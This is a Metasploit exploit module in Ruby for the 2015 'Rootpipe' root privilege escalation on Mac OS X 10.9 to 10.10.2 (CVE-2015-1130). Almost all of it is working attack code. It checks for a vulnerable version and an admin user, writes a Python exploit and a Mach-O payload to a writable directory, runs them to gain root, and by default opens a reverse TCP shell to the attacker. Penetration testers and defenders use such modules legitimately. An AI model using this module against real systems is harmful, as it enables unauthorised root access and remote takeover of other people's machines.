##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',
      'Description'    => %q{
        This module exploits a hidden backdoor API in Apple's Admin framework on
        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

        Tested on Yosemite 10.10.2 and should work on previous versions.

        The patch for this issue was not backported to older releases.

        Note: you must run this exploit as an admin user to escalate to root.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev',             # Copy/paste monkey
        'wvu'               # Meta copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-1130'],
        ['OSVDB', '114114'],
        ['EDB',   '36692'],
        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
      ],
      'DisclosureDate' => 'Apr 9 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X86_64,
      'SessionTypes'   => ['shell'],
      'Targets'        => [
        ['Mac OS X 10.9-10.10.2', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
        'CMD'     => '/bin/zsh'
      }
    ))

    register_options([
      OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ])
  end

  def check
    (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Writing exploit to `#{exploit_file}'")
    write_file(exploit_file, python_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status('Executing exploit...')
    cmd_exec(sploit)
    print_status('Executing payload...')
    cmd_exec(payload_file)
  end

  def ver?
    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
    )
  end

  def admin?
    cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def python_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    @exploit_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def payload_file
    @payload_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

end